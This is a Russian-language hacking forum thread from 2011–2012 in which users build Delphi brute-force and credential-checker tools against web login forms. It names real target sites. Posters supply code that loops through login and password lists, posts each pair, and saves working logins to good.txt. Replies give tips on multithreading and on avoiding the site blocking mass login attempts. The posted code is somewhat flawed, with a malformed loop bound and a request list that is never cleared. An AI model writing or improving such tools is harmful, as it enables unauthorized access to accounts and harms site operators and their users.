Брут на Дельфи (Хелп)
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя  |
| Сообщение |
<< Старые топики Новые топики >> |
|
|
Брут на Дельфи (Хелп) - 2011-03-27 16:22:02.766666
|
|
|
GreeF
Сообщений: 243
Оценки: 0
Присоединился: 2010-02-19 22:24:49.863333
|
Пишу брут для веб-формочки, но брут берет первый логин и пасс из списка, а на остальные забивает.
var StrPage, ssylka:string;
Data:TstringList;
i,k:integer;
Login, Pass: TStrings;
l, p: Integer;
begin
idhttp1.HandleRedirects:=true;
StrPage:=idhttp1.Get('http://fteam-online.ru/index.php');
if Edit1.Text='' then Exit;
if Edit2.Text='' then Exit;
Data:=TstringList.Create;
Login:=TStringList.Create;
Pass:=TStringList.Create;
Login.LoadFromFile(Edit1.Text);
Pass.LoadFromFile(Edit2.Text);
Data.Add('enter_main1='+Login.Strings[L]);
Data.Add('enter_main2='+Pass.Strings[P]);
Data.Add('enter_main3=^ Войти ^');
Memo1.Lines.Add(PChar('Логин:'+Login.Strings[l]+' Пароль:'+Pass.Strings[p]));
StrPage:=idhttp1.Post(ssylka, Data);
if Pos('Please wait...', StrPage)<>0 then
Label1.Caption:='Залогинился'
else Label1.Caption:='Феил'; Ошибки (Но с ними компиляция идет)
Veriabe 'l' might not have been initialized
Veriabe 'p' might not have been initialized
И ещё, как мне гуды сохранить в текстовик savetofile или запилить их в мемо?
Брут сам с нуля писал)
|
|
|
|
|
RE: Брут на Дельфи (Хелп) - 2011-03-27 19:51:18.163333
|
|
|
webkraft
Сообщений: 2388
Оценки: 95
Присоединился: 2009-03-01 15:59:53.456666
|
Я что то вообще не увидел действия чтобы он брал следующую строку, сделай цикл, и что то не вижу никаких действий с переменными l, p: Integer;
код говно будет и памяти затратный, но для пример выложу:
var StrPage, ssylka:string;
Data:TstringList;
Login, Pass: TStrings;
l: Integer;
begin
idhttp1.HandleRedirects:=true;
StrPage:=idhttp1.Get('http://fteam-online.ru/index.php');
if Edit1.Text='' then Exit;
if Edit2.Text='' then Exit;
Data:=TstringList.Create;
Login:=TStringList.Create;
Pass:=TStringList.Create;
Login.LoadFromFile(Edit1.Text);
Pass.LoadFromFile(Edit2.Text);
for l:=0 to (login.Count-1) and (Pass.Count-1) do
begin
Sleep(2000);
Data.Add('enter_main1='+Login.Strings[l]);
Data.Add('enter_main2='+Pass.Strings[l]);
Data.Add('enter_main3=^ Войти ^');
Memo2.Lines.Add(PChar('Логин:'+Login.Strings[l]+' Пароль:'+Pass.Strings[l]));
StrPage:=idhttp1.Post(ssylka, Data);
if Pos('Please wait...', StrPage)<>0 then
Memo1.Lines.Add('Log Pass true:'+login.Strings[l]+':'+Pass.Strings[l])
else
Memo1.Lines.Add('Log Pass false:'+login.Strings[l]+':'+Pass.Strings[l]);
end;
login.Free;
Pass.Free;
end;
quote:
И ещё, как мне гуды сохранить в текстовик savetofile или запилить их в мемо?
можно так:
var
StrPage, ssylka:string;
Data,good,bad:TstringList;
Login, Pass: TStrings;
l: Integer;
begin
idhttp1.HandleRedirects:=true;
StrPage:=idhttp1.Get('http://fteam-online.ru/index.php');
if Edit1.Text='' then Exit;
if Edit2.Text='' then Exit;
Data:=TstringList.Create;
Login:=TStringList.Create;
good:=TstringList.Create;
bad:=TstringList.Create;
Pass:=TStringList.Create;
Login.LoadFromFile(Edit1.Text);
Pass.LoadFromFile(Edit2.Text);
for l:=0 to (login.Count-1) and (Pass.Count-1) do
begin
Sleep(2000);
Data.Add('enter_main1='+Login.Strings[l]);
Data.Add('enter_main2='+Pass.Strings[l]);
Data.Add('enter_main3=^ Войти ^');
Memo2.Lines.Add(PChar('Логин:'+Login.Strings[l]+' Пароль:'+Pass.Strings[l]));
StrPage:=idhttp1.Post(ssylka, Data);
if Pos('Please wait...', StrPage)<>0 then
begin
Memo1.Lines.Add('Log Pass true:'+login.Strings[l]+':'+Pass.Strings[l]);
good.Add(login.Strings[l]+':'+Pass.Strings[l]);
end
else begin
Memo1.Lines.Add('Log Pass false:'+login.Strings[l]+':'+Pass.Strings[l]);
bad.Add(login.Strings[l]+':'+Pass.Strings[l]);
end;
end;
bad.SaveToFile('bad.txt');
good.SaveToFile('good.txt');
bad.Free;
Data.Free;
good.Free;
login.Free;
Pass.Free;
end;
Не брут а больше чекер получился, ну я думаю суть ты понял
Для брутов советую почитать про многопоточность
|
|
|
|
|
RE: Брут на Дельфи (Хелп) - 2012-02-01 19:24:00.693333
|
|
|
sabotaje
Сообщений: 55
Оценки: 0
Присоединился: 2011-12-17 01:44:25.120000
|
var
i: integer;
info:Tstringlist;
p:Tstringlist;
begin
info:=Tstringlist.Create;
p:=Tstringlist.Create;
for i:=0 to Memo1.Lines.Count-1 do
begin
info.Add('login=NaZaRiO777');
info.Add('password='+Memo1.Lines.Strings);
p.Text:=IdHTTP1.Post('http://web.tak.ru/enter.php',info);
if pos('logaut', p.text)>0 then
begin
Memo2.Lines.Add(Memo1.Lines.Strings+'верный');
end
else
begin
Memo2.Lines.Add(Memo1.Lines.Strings+'не верный');
Короче простенький брут ну вот возникла проблема после того как залогинешся в этом же окне открывается страница с капчей и в исходнике нету logaut как быть что бы выводились верные и неверные пароли?
|
|
|
|
|
RE: Брут на Дельфи (Хелп) - 2012-02-01 21:08:21.240000
|
|
|
Barkass$
Сообщений: 1854
Оценки: 40
Присоединился: 2008-11-11 12:19:45.216666
|
Для обработки ошибок и их исключений существует блок try except.
Искать другую форму авторизации.
Искать другие данные для проверки.
Главное что бы сайт не блокировал запрос на авторизацию в большом объеме.
|
|
|
|
|
|
